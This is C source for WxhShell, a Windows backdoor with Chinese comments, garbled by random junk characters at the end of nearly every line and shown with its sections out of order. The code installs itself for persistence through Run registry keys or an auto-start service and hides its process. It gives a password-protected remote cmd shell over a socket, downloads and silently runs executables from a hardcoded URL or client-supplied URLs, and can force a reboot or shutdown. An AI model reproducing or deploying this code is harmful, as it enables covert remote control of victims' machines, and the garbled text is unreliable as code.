    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKdLhCN'=  
    else { hh9{md\  
    closesocket(wsh); #eYVZ=E  
    ExitThread(0); oWmla*nCKL  
    } /eQn$ZRP,  
    break; V_!i KEU  
    } N;Bal/kd2  
  // 获取shell 'Nh^SbD+_|  
  case 's': { bd4q/w4q  
    CmdShell(wsh); )T?ryp3ev  
    closesocket(wsh); KXJHb{?  
    ExitThread(0); k&b>-QP6  
    break; ~ 4a aJ0  
  } i7FEjjGtG  
  // 退出 :z\STXq  
  case 'x': { P*>V6SK>b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ioggD  
    CloseIt(wsh); !_@%/I6  
    break; D_Y;N3E/rS  
    } hlRE\YO&8R  
  // 离开 Y{KJk'xN5W  
  case 'q': { -MjRFa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KVuv%?  
    closesocket(wsh); \"SI-`x  
    WSACleanup(); w8qI7/  
    exit(1); ,v"A}g0"  
    break; J}JnJV8|G  
        } 4tI~d8?pk+  
  } K_i2%t3  
  } ZAE;$pkP  
jKzj Tn9{E  
  // 提示信息 s>5 Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >EY0-B  
} o&]qjFo\m  
  } P]n ' q  
S~T[*Z/m  
  return; X 6)LpMm  
} yFSL7`p+  
^|Y!NHYH$Z  
// shell模块句柄 -LyIu#  
int CmdShell(SOCKET sock) z?PF9QL1  
{ B !XT:.+  
STARTUPINFO si; }49?Z3  
ZeroMemory(&si,sizeof(si)); uyj5}F+O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,O}zgf*H;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |fUSq1//  
PROCESS_INFORMATION ProcessInfo; tVOx  
char cmdline[]="cmd"; $[Fk>d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z]tz<YSkG  
  return 0; [Mi~4b  
} {T.VB~C  
?CIa)dhu  
// 自身启动模式 &~i1 @\]  
int StartFromService(void) *4ID$BmO  
{ (< h,R@:  
typedef struct "P6MLf1  
{ _#+i;$cO-X  
  DWORD ExitStatus; 'Gk|&^  
  DWORD PebBaseAddress; W;=ZQ5Lw  
  DWORD AffinityMask; \21!NPXH2  
  DWORD BasePriority; bu]bfnYi9  
  ULONG UniqueProcessId; 1n^xVk-G  
  ULONG InheritedFromUniqueProcessId; ~L2Fo~fw  
}   PROCESS_BASIC_INFORMATION; `6zoZM7?Y  
SC#  
PROCNTQSIP NtQueryInformationProcess; Vh&uSi1V  
99`xY$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iY="M_kQ_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e*tOXXY1  
r <U }lK  
  HANDLE             hProcess; MStaP;|  
  PROCESS_BASIC_INFORMATION pbi; ek9%Xk8  
e.N#+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,q4Y N-3  
  if(NULL == hInst ) return 0; D3]_AS&\  
W|:WAxJ*d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ||hd(_W8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aePk^?KbB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *`kh}  
!>M: G:K  
  if (!NtQueryInformationProcess) return 0; :0J;^@   
5lT lZRH1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PH6uP]  
  if(!hProcess) return 0; 2'D2>^os  
LVSJK.B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mz47lv1?  
Hxjh P(  
  CloseHandle(hProcess); +U[A.^t  
}u :sh >2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m 9r X  
if(hProcess==NULL) return 0; (UCWSA7oc  
oZQu&O'  
HMODULE hMod; hT<v8  
char procName[255]; dP82bk/e  
unsigned long cbNeeded; C[75 !F   
1'ZBtX~A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &a V`u?'e  
dI`b AP;\  
  CloseHandle(hProcess); y@F{pr+dA  
xT%CY(:9X  
if(strstr(procName,"services")) return 1; // 以服务启动 )Ipa5i>t  
$(BW |Pc  
  return 0; // 注册表启动 DUaj]V{_^  
} KyjN'F$  
0ZO!_3m$r  
// 主模块 /0A}N$?>:  
int StartWxhshell(LPSTR lpCmdLine) T5ol2  
{ :p89J\  
  SOCKET wsl; _f/6bpv  
BOOL val=TRUE; bi QDupTz  
  int port=0; ct`89~"  
  struct sockaddr_in door; [j) :2  
-{^Gzui  
  if(wscfg.ws_autoins) Install(); vForj*Xo  
cY5h6+_  
port=atoi(lpCmdLine); <%! EI@N  
{Wt=NI?Ow  
if(port<=0) port=wscfg.ws_port; 7"1M3P5*8  
m}rUc29cS,  
  WSADATA data; XOU 9r(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4h-tR  
X4gs{kx}|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +5voAx!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h DCR>G  
  door.sin_family = AF_INET; |Gz(q4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~OXPn9qPp  
  door.sin_port = htons(port); "~XAD(T6  
}}<^f M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s$A|>TOY  
closesocket(wsl); +ps(9O/B>  
return 1; Y-v6xUc{F  
} [&51m^  
m)V%l0  
  if(listen(wsl,2) == INVALID_SOCKET) { ^I7iEv  
closesocket(wsl); arm26YA-,  
return 1; T< D&%)  
} U 1vZ r{\  
  Wxhshell(wsl); *y0TtEd;  
  WSACleanup(); 05Ak[OOU>  
S3$&}I <  
return 0; BKi@c\Wb  
eot%T h?[  
} f<<1.4)oSV  
+ JsMYv  
// 以NT服务方式启动 bZLY#g7L"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -a !?%  
{ y2cYRHN[X}  
DWORD   status = 0; !#3v<_]#d  
  DWORD   specificError = 0xfffffff; *jM]:GpyoU  
G8}k9?26(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jBb:)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A{MMY{K3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z#m ~}  
  serviceStatus.dwWin32ExitCode     = 0; Fsz;T;  
  serviceStatus.dwServiceSpecificExitCode = 0; 6o6I]QL  
  serviceStatus.dwCheckPoint       = 0; n86LU Sj5  
  serviceStatus.dwWaitHint       = 0; !c W6dc^  
.kcyw>T`I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LtW}R4}3  
  if (hServiceStatusHandle==0) return; ?L x*MJZ  
W^k95%zBM  
status = GetLastError(); fS?}(7  
  if (status!=NO_ERROR) \,D>zF  
{ a]]eQ(xQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3?5JY;}h>"  
    serviceStatus.dwCheckPoint       = 0; 6Z.Fyte  
    serviceStatus.dwWaitHint       = 0; %vUY|3G  
    serviceStatus.dwWin32ExitCode     = status; tnE),  
    serviceStatus.dwServiceSpecificExitCode = specificError; FF#T"y0Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k'QI`@l&l  
    return; @q]4]U)  
  } 6+!$x?5|NP  
-!q^/ux  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; - ({h @  
  serviceStatus.dwCheckPoint       = 0; !y+uQ_IS@  
  serviceStatus.dwWaitHint       = 0; x n?$@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5/8=Do](  
} Y \Gx|  
R"W5R-  
// 处理NT服务事件,比如:启动、停止 |yS  %  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2DU Y4Ti  
{ HA$X g j  
switch(fdwControl) %:t! u&:q  
{ j<'ftK k  
case SERVICE_CONTROL_STOP: A*G ~#v^  
  serviceStatus.dwWin32ExitCode = 0; ,<k%'a!B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6%it`A8}  
  serviceStatus.dwCheckPoint   = 0; :CLWmMC_  
  serviceStatus.dwWaitHint     = 0; bb  M^J  
  { dIW@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;6:9EEd  
  } bMn)lrsX  
  return; -U*J5Q  
case SERVICE_CONTROL_PAUSE: Qo32oT[DM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,BUrZA2\U$  
  break; 1oe,>\\  
case SERVICE_CONTROL_CONTINUE: >dx/k)~~-L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `*6|2  
  break; [;H-HpBaa  
case SERVICE_CONTROL_INTERROGATE: kM J}sS  
  break; $GP66Ev  
}; 60;_^v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eSQkW  
} d~ +(g!  
_B>'07D0  
// 标准应用程序主函数 ^"<x4e9+j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Lq+ONX5  
{ kDol1v`  
E;}&2 a  
// 获取操作系统版本 9U8x&Z]P  
OsIsNt=GetOsVer(); ,Qx]_gZ`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Idb*,l|<  
M287Z[  
  // 从命令行安装 ~7 `,}) d  
  if(strpbrk(lpCmdLine,"iI")) Install(); G9NI`]k  
3Q'vVNFh<  
  // 下载执行文件 /poGhB 1k  
if(wscfg.ws_downexe) { |.VSw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^s6}[LDW>@  
  WinExec(wscfg.ws_filenam,SW_HIDE); }4N'as/ZO  
} 8OKG@hc  
.W^B(y(tA  
if(!OsIsNt) { "\i H/  
// 如果时win9x,隐藏进程并且设置为注册表启动 U0t|i'Hx  
HideProc(); fcxg6W'  
StartWxhshell(lpCmdLine); P0yDL:X[  
} v^ "qr?3V  
else BBM[Fy37!}  
  if(StartFromService()) ,`JYFh M  
  // 以服务方式启动 sC.b '1P  
  StartServiceCtrlDispatcher(DispatchTable); -'Ay(h   
else rRg,{:;A  
  // 普通方式启动 D'<L6w`  
  StartWxhshell(lpCmdLine); R\|,GZ!`+  
1~t.2eUG  
return 0; ]XU4nNi  
} HdN5zl,q  
|Fe[RGi+8  
y_X jY  
aX`uF<c9  
=========================================== V:w%5'^3  
?TeozhUY  
b3EGtC}^  
'y\Je7  
?HJh;96B  
j*@@H6G  
" jB8Q% {%  
ele@xl  
#include <stdio.h> <Xl#}6II  
#include <string.h> %ggf|\ -e  
#include <windows.h> P&sWn?q Ol  
#include <winsock2.h> )w0x{_  
#include <winsvc.h> +!0K]$VZs  
#include <urlmon.h> 0S^&A?$=  
qmFG  
#pragma comment (lib, "Ws2_32.lib") kL%ot<rt)w  
#pragma comment (lib, "urlmon.lib") 0CX,"d_T,  
]o8]b7-  
#define MAX_USER   100 // 最大客户端连接数 & y5"0mA  
#define BUF_SOCK   200 // sock buffer ?OLd }8y  
#define KEY_BUFF   255 // 输入 buffer W?5')  
Ux7LN @4og  
#define REBOOT     0   // 重启 Ez;Qo8  
#define SHUTDOWN   1   // 关机 JD#x+~pb,8  
[EDX@Kdq)  
#define DEF_PORT   5000 // 监听端口 GuO}CQs^W  
:a6LfPEAX  
#define REG_LEN     16   // 注册表键长度 d!E_EoOi  
#define SVC_LEN     80   // NT服务名长度 sSZ)C|Q  
gYD1A\  
// 从dll定义API `wXK&R<`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]:OrGD"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nS04Ha  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iqvLu{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K f/[Edn  
~.aR=m\#  
// wxhshell配置信息 4T31<wk  
struct WSCFG { gom!dB0J  
  int ws_port;         // 监听端口 X>8,C^~$1  
  char ws_passstr[REG_LEN]; // 口令 g3z/yj  
  int ws_autoins;       // 安装标记, 1=yes 0=no y6nP=g|')>  
  char ws_regname[REG_LEN]; // 注册表键名 0n{.96r0R  
  char ws_svcname[REG_LEN]; // 服务名 RNi%6A1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \IE![=p\w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HohCb4do  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Z) Et,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8cG?p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ j^R+F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z1eT> 6|]r  
rZKfb}ANQ  
}; wAKHD*M)  
f`n4'dG  
// default Wxhshell configuration SLKpl LO  
struct WSCFG wscfg={DEF_PORT, Wd:pqhLh  
    "xuhuanlingzhe", umIGI  
    1, bZ\R0[0  
    "Wxhshell", s0/O/G?  
    "Wxhshell", $D1ha CL  
            "WxhShell Service", x~V[}4E%>  
    "Wrsky Windows CmdShell Service", 3PE.7-HF  
    "Please Input Your Password: ", 4yxQq7 m,  
  1, 0G+Q^]0  
  "http://www.wrsky.com/wxhshell.exe", nF@**,C Q  
  "Wxhshell.exe" @|\9<S  
    }; R9U{r.AA  
3>KEl^1DB  
// 消息定义模块 c_3B:F7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S@/{34,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WO_Uc_R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /W/e%.  
char *msg_ws_ext="\n\rExit."; jVQy{8{G  
char *msg_ws_end="\n\rQuit."; IMkE~0x4</  
char *msg_ws_boot="\n\rReboot..."; |NuMDVd+s  
char *msg_ws_poff="\n\rShutdown..."; ~[HzGm%  
char *msg_ws_down="\n\rSave to "; CRK%^3g  
^ Oh  
char *msg_ws_err="\n\rErr!"; Y;/@[AwF  
char *msg_ws_ok="\n\rOK!"; aUaeK(x:H  
6kYluV+j  
char ExeFile[MAX_PATH]; vqSpF6F q  
int nUser = 0; g'7E6n"!,  
HANDLE handles[MAX_USER]; +>"s)R43  
int OsIsNt; 1,-C*T}nR  
ye(b 7CX  
SERVICE_STATUS       serviceStatus; &DLWlMGq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dHy9 wU  
wXIRn?z  
// 函数声明 B*T n@t W  
int Install(void); )[ V8YiyU  
int Uninstall(void); F w 0m(7  
int DownloadFile(char *sURL, SOCKET wsh); {DRk{>K,  
int Boot(int flag); *?FVLE  
void HideProc(void); .d<K`.O ;  
int GetOsVer(void); UxGu1a  
int Wxhshell(SOCKET wsl); O] @E8<?^  
void TalkWithClient(void *cs); j'D%eQI,V  
int CmdShell(SOCKET sock); WXy8<?s  
int StartFromService(void); ~*HQPp?v  
int StartWxhshell(LPSTR lpCmdLine); duaF?\vv  
~CNB3r5R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @G4Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5#GMp  
kelBqJ-,p  
// 数据结构和表定义 ` ,\b_SFg  
SERVICE_TABLE_ENTRY DispatchTable[] = ("8Hku?  
{ D0Dz@25-  
{wscfg.ws_svcname, NTServiceMain}, @ap!3o8,9  
{NULL, NULL} QP (0  
}; y98FEG#S}  
(VeK7cU  
// 自我安装 ^&qK\m_A  
int Install(void) ,b*?7R  
{ CD&a_-'z$K  
  char svExeFile[MAX_PATH]; $94lF~  
  HKEY key; y\T$) XGV  
  strcpy(svExeFile,ExeFile); tgF~5 o}?  
U#z"t&o=L  
// 如果是win9x系统,修改注册表设为自启动 0t7N yKU  
if(!OsIsNt) { p*Z<DEh#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,X|Oe@/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;/Hr ZhOE  
  RegCloseKey(key); "*bLFORkq'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K(+=V)'Dz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UD-+BUV  
  RegCloseKey(key); |{#St-!-7  
  return 0; Ok!P~2J  
    } L]=]/>jQ6  
  } YK/? mj1x  
} Qc7*p]E&  
else { [+\He/M6  
2j-l<!s  
// 如果是NT以上系统,安装为系统服务 A%^?z.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ctP+ECH  
if (schSCManager!=0) n9Fq^^?  
{ evyjHcCx  
  SC_HANDLE schService = CreateService RN`TUCQL  
  ( :Qa*-)rs  
  schSCManager, \rr"EAk]  
  wscfg.ws_svcname, Va?]:Q  
  wscfg.ws_svcdisp, jwI2T$  
  SERVICE_ALL_ACCESS, Q`k;E}x_-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &{Z+p(3Gj  
  SERVICE_AUTO_START, DGHSyB^+1  
  SERVICE_ERROR_NORMAL, c}@E@Y`@w  
  svExeFile, #(tdJ<HvC|  
  NULL, z4YDngf=4  
  NULL, ntIR#fB  
  NULL, /dCsZA  
  NULL, ~cm4e>o  
  NULL JG;}UuHYM  
  ); uH89oA/H  
  if (schService!=0) QBa+xI_ J  
  { *$9U/  d  
  CloseServiceHandle(schService); WOO3z5 La  
  CloseServiceHandle(schSCManager); :Racu;xf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !j$cBf4  
  strcat(svExeFile,wscfg.ws_svcname); Ce+:9}[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >#h,q|B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ThV>gn5  
  RegCloseKey(key); ~i1 jh:,  
  return 0; #ft9ms#N  
    } o33t~@RX  
  } w[GEm,ZC  
  CloseServiceHandle(schSCManager); CbZ;gjgY*  
} vAM1|,U  
} lf-.c$.>  
kwp%5C-S  
return 1; 'd N1~Pa  
} #w''WOk@ZG  
H^'%$F?Ss  
// 自我卸载 G ]h  
int Uninstall(void) Ry +?#P+  
{ ./I?|ih  
  HKEY key; u0W6u} 4;  
eBa#Z1Z  
if(!OsIsNt) { )xVf3l pQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lW"0fZ_x'E  
  RegDeleteValue(key,wscfg.ws_regname); ~C{:G;Iy0  
  RegCloseKey(key); VP!4Nob  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,#XXwm ^I  
  RegDeleteValue(key,wscfg.ws_regname); f}yRTR GJv  
  RegCloseKey(key); Tv#d>ZSD  
  return 0; ZY<R Nwu  
  } jTS8 qu  
} k;cIEEdZD  
} |dxWO  
else { k9eyl)  
?$`kT..j,u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Q!%16 P  
if (schSCManager!=0) 3^P;mQ$p1  
{ X0L \Ewm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +tk`$g  
  if (schService!=0) Z,p@toj'  
  { d%I7OBBx@  
  if(DeleteService(schService)!=0) { o~'p&f  
  CloseServiceHandle(schService); ^Zvb3RJg  
  CloseServiceHandle(schSCManager); a=W%x{  
  return 0; '`;=d<'  
  } Z'A 3\f   
  CloseServiceHandle(schService); qMEd R;o  
  } 0to`=;JI  
  CloseServiceHandle(schSCManager); nP[Z6h  
} KC"S0 6  
} ^P{y^@XI  
I:t ?#)wl  
return 1; ^/2HH  
} gdCit-3  
H*G(`Zl}  
// 从指定url下载文件 }bRn&)e  
int DownloadFile(char *sURL, SOCKET wsh) &IXmy-w  
{ 7#wB  
  HRESULT hr; yT:2*sZRc  
char seps[]= "/"; WZ`i\s1#  
char *token; gaC4u,Zb  
char *file; R1 SFMI   
char myURL[MAX_PATH]; n;Mk\*Cg  
char myFILE[MAX_PATH]; 4"|3pMr  
T}{zh  
strcpy(myURL,sURL); y_>DszRN`u  
  token=strtok(myURL,seps); $hc=H  
  while(token!=NULL) Jqzw94  
  { i\;ZEM{  
    file=token; Y'000#+  
  token=strtok(NULL,seps); :ek^M (  
  } q{V e%8$"  
/t`|3Mw  
GetCurrentDirectory(MAX_PATH,myFILE); e<uf)K=(C  
strcat(myFILE, "\\"); 13 h,V]ak  
strcat(myFILE, file); I~6(>Z{  
  send(wsh,myFILE,strlen(myFILE),0); ;07$G+['  
send(wsh,"...",3,0); b5MU$}:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IG|u;PH<  
  if(hr==S_OK) _1RvK? ;.{  
return 0; 2ZV; GS#  
else QDj%m%Xd  
return 1; T*@o?U  
#qk=R7" Q  
} rRe^7xGe7  
:LB*l5\  
// 系统电源模块 ..h@QQ  
int Boot(int flag) ">!pos`<C  
{  RSj8T<  
  HANDLE hToken; ?7pn%_S  
  TOKEN_PRIVILEGES tkp; OYxYlUq  
NRG06M  
  if(OsIsNt) { >&fD:y'&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f99"~)B|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G>:v1lde  
    tkp.PrivilegeCount = 1; G:1QXwq\j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *jQ$\|Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "6IZf>N@#  
if(flag==REBOOT) { -rYb{<;ST  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J~J+CGT~2  
  return 0; D1+1j:m  
} /2d>nj  
else { s>G]U)d<'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^w%%$9=:r  
  return 0; gnzg(Y]5w  
} 8mmnnf{P  
  } CAviP61T  
  else { ._>03,"  
if(flag==REBOOT) { uWClT):  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \>*.+?97  
  return 0; l'Za"TL:  
} jP/Vqe%%8  
else { qT$IV\;_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vO$cF*  
  return 0; ,]yS BAO  
} "9^b1UH<  
} ld#x'/  
W tw,YFT  
return 1; N LQ".mM+  
} )N~ p4kp  
aaf}AIL.  
// win9x进程隐藏模块 #>KiX84  
void HideProc(void) XM+.Hel  
{ 3 eF c  
Xu~N97\G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); At<MY`ka  
  if ( hKernel != NULL ) vy5Fw&?"  
  { Qp[ Jw?a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (x/:j*`K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u59l)8=  
    FreeLibrary(hKernel); JW><&hY$"  
  } ;p~!('{P  
kl~/tbf  
return; r)-{~JA!  
} t\QLj&h}E  
qHgtd+ I  
// 获取操作系统版本 ORP<?SG55u  
int GetOsVer(void) gfN=0Xj4  
{ XNx$^I=  
  OSVERSIONINFO winfo; 3^&`E} r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '?m2|9~  
  GetVersionEx(&winfo); (O(TFE5^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QPLWRZu@  
  return 1; -Wmb M]Z  
  else %X\A|V&  
  return 0; s&o9LdL  
} W{q P/R  
|6?s?tC"u  
// 客户端句柄模块 !nJl.Y$  
int Wxhshell(SOCKET wsl) ayn aV  
{ 3t.!5 L  
  SOCKET wsh; VfJ{);   
  struct sockaddr_in client; Y R~e_cA:  
  DWORD myID; ami>Pp  
`)]W~  
  while(nUser<MAX_USER) vv Y?8/  
{ kR^">s/H#  
  int nSize=sizeof(client);  r90tXx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L.;x=w  
  if(wsh==INVALID_SOCKET) return 1; =,ax"C?pR  
,vvfk=-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t1 9f%d  
if(handles[nUser]==0) saZK+kD4I  
  closesocket(wsh); WdS1v%  
else i83Jy w,f  
  nUser++; N lm}'Xt  
  } lU=VCuW!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [];wP '*  
IMdp"  
  return 0; _(gkYJ+MK  
} # SCLU9-  
&,PA+#  
// 关闭 socket Z>3~n  
void CloseIt(SOCKET wsh) [ywF!#'){  
{ Hr}"g@ <  
closesocket(wsh); WhH60/`  
nUser--; 5"3 `ss<m  
ExitThread(0); I+kL;YdS  
} 3l`"(5  
cy mC?8<  
// 客户端请求句柄 .Xf_U.h$*@  
void TalkWithClient(void *cs) "8z Me L  
{ Si~wig2  
ljrJC  
  SOCKET wsh=(SOCKET)cs; 6=JJ!`"<2  
  char pwd[SVC_LEN]; Cpd>xXZz&S  
  char cmd[KEY_BUFF]; u:(=gj,~x  
char chr[1]; 0^J%&1aIc  
int i,j; 4%qmwt*p  
X1o R  
  while (nUser < MAX_USER) { s8]%L4lvu  
H@zv-{}T8  
if(wscfg.ws_passstr) { (ESFR0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mP15PZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $(0<T<\  
  //ZeroMemory(pwd,KEY_BUFF); |p+FIr+  
      i=0; qR2cRepV  
  while(i<SVC_LEN) { (d NF)(wn  
1z2v[S&pk  
  // 设置超时 IN1 n^f$:  
  fd_set FdRead; #2Q%sE?  
  struct timeval TimeOut; %j17QD8  
  FD_ZERO(&FdRead); |SMigSu r`  
  FD_SET(wsh,&FdRead); #>_fYjT  
  TimeOut.tv_sec=8; }2BNy9q@  
  TimeOut.tv_usec=0; d@*dbECG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +N,Fq/x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RDQ]_wsyKG  
im:[ViR {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9%ct   
  pwd=chr[0]; m^ar:mK@  
  if(chr[0]==0xd || chr[0]==0xa) { Xu_1r8-|=b  
  pwd=0; r:0RvWif  
  break; Dvz 6 E  
  } VY~*QF~P  
  i++; =|$U`~YB  
    } L&NpC&>wD  
qx >Z@o  
  // 如果是非法用户,关闭 socket p\'X%R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cJwe4c6.m  
} I hSXU<]  
OH n~DL2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Zq?V`+M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JDnWBEV  
~/SLGyu  
while(1) { d1^5r 31  
^"/TWl>jB  
  ZeroMemory(cmd,KEY_BUFF); *CF80DJ  
;VCFDE{K=  
      // 自动支持客户端 telnet标准   g0/ R\  
  j=0; x3 Fn'+  
  while(j<KEY_BUFF) { GP ^^ K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O@H D'  
  cmd[j]=chr[0]; w\Q(wH'  
  if(chr[0]==0xa || chr[0]==0xd) { Oa@SyroF=  
  cmd[j]=0; mpDxJk!   
  break; 8?EKF+.u|  
  } Te)%L*X  
  j++; BgCEv"G5  
    } ,T  3M  
V+0pvgS[  
  // 下载文件 6,~ %  
  if(strstr(cmd,"http://")) { /N/jwLr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @wAYhnxq  
  if(DownloadFile(cmd,wsh)) TK> ~)hc}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!j=em@  
  else 7X$pgNRx/a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DBvozTsF~  
  } 0_^3 |n  
  else { z'>b)wY](  
8193d%Wb  
    switch(cmd[0]) { @1pfH\m  
  KV{  
